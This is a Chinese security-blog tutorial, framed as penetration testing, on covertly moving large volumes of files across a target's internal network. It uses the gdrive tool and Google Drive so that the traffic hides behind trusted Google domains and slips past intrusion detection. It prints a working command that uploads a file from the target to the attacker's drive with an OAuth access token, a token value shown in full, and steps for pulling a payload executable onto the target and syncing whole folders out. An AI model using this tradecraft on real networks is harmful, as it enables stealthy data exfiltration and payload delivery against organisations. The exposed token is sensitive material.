freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

渗透测试-内网大规模文件传输
云起无垠 2023-10-24 11:02:31 104338

0x01 介绍

在定向 apt 大型目标的时候,目标内网系统会有各种流量入侵检测设备,为了动静小一点,也为了不在传输过大流量数据时暴露自己的 c2,我们有必要用到第三方 app/网址进行上传/下载,本次主要就google drive 上传下载为例,进行实操详解。gdirve 本身是一个跨平台语言 go 开发而成的命令行工具,能够兼容 linux 和 win,并且流量域名全部走的是http://google.com的高可信域名。

0x02 实战和传输

0x02.1 测试储备

1. 测试环境:

  • Windows10

  • 杀软:360,360 杀毒

2. 依赖条件:

  • 能够上外网

  • 一个 google 账号以及 api (access token....)

先下载 gdrive 到本地的机器上。所有参数如下:

93a1dead8d90de419907f4eca607b50d.png

0x02.2 实战教程

我们先上 wiki 看下如何使用 gmail 申请 access-token

It seems that this app has been blocked so you can't get an authorization key by going to the URL that is presented when you run it. The following workaround seems to work:

8282e709df5145a5903298aae40500c2.png

1.进入https://developers.google.com/oauthplayground

2.选择 Drive API, 点击 Authorize APIs。

acd1eab235d4385cd9ae7a1cc98f1f13.png

18e5b48067c748b012893ff58772ccaa.png

3.点击 Exchange Authorization Codes for Token。

54f2d0265a2f852f2e4ffd6f22186919.png

这样就拿到了 Access Token:ya29.A0ARrdaM-vPnyNYOdORKc-j2WgGjgO7OVxXGhW3b80dxa-ukuqsn8lnSssJUWIT7Qu0au-UXrotTNTi4a_kw-O6mItkAplPbwDGxRloVrJA9KM9kx7tPhzTbMpyEryiOk7W4E1HsH7d6GnTCs4AetnHTND5QF1

注意,这里显示了,Access Token 只有 3597 秒的有效期。

有了 Access token 以后,就可以开始在目标机器上传输文件了

gdrive.exe upload 2.tmp --access-token ya29.A0ARrdaM-vPnyNYOdORKc-j2WgGjgO7OVxXGhW3b80dxa-ukuqsn8lnSssJUWIT7Qu0au-UXrotTNTi4a_kw-O6mItkAplPbwDGxRloVrJA9KM9kx7tPhzTbMpyEryiOk7W4E1HsH7d6GnTCs4AetnHTND5QF1

#使用 access-token 作为认证,传输同级目录的 2.tmp 文件到自己的 google drive 网盘上。

be519eaa817563af39d055f2c5e61080.png

我们抓包查看,走的是http://googleapis.com的域名,流量也是http://googleapis.com的流量。

0e3a864e6bc56695d6a83aa7c088ac90.png

回到我们的 google drive 上查看,可以看到 2.temp 已经上传了。

6fff6073fd128bdabf93b48cbffda089.png

其他常见参数解释。

在目标机器上列出自己 google drive 上的所有云盘文件。

5cc35bab20d14c12caf491535c43d70e.png

使用 access-token 作为认证,下载我们 google-drive 网盘上 id 为 1X21v-LjM8RY9v_6lLMq16PL8uptqdADj 的文件(也就是 inst.exe)。

aaf671fec8e87511e33b7b49083d98d8.png

同步目录下所有的文件。

创建 test 目录。

0055c8cbc851a96e4722533ff5f4be70.png

把本地的 1/文件夹里的所有东西,全部同步到云盘上的 test 目录。

fb9a4abdd397a09626e44508c4ae1268.png

00x03 思考和总结

  • 其他的网盘有没有这种第三方的网址的 api,能不能传输?

  • 我们以后在某一个集团的内网的时候,能否根据内网所使用的服务器提供商自带的一些功能进行传输呢?(比如,在 google vps 里使用 google drive, 在 azure 云上的服务器使用 onedrive 文件传输),这一点就留给读者们继续拓展!

参考文献

[1]gdrive https://github.com/prasmussen/gdrive

[2]gdrive_2.1.1_windows_amd64 https://github.com/prasmussen/gdrive/releases/download/2.1.1/gdrive_2.1.1_windows_amd64.tar.gz

[3]wikihttps://github.com/prasmussen/gdrive/wikiapiapply https://developers.google.com/o

# 渗透测试
本文为 云起无垠 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
云起无垠 LV.9
北京云起无垠科技有限公司
  • 272 文章数
  • 17 关注者
【论文速读】| CleanVul:利用大语言模型启发式方法在代码提交中进行自动的函数级漏洞检测
2025-03-12
第85期 | GPTSecurity周报
2025-03-11
评测!Google Gemini AI 安全评估技术解析
2025-01-24
文章目录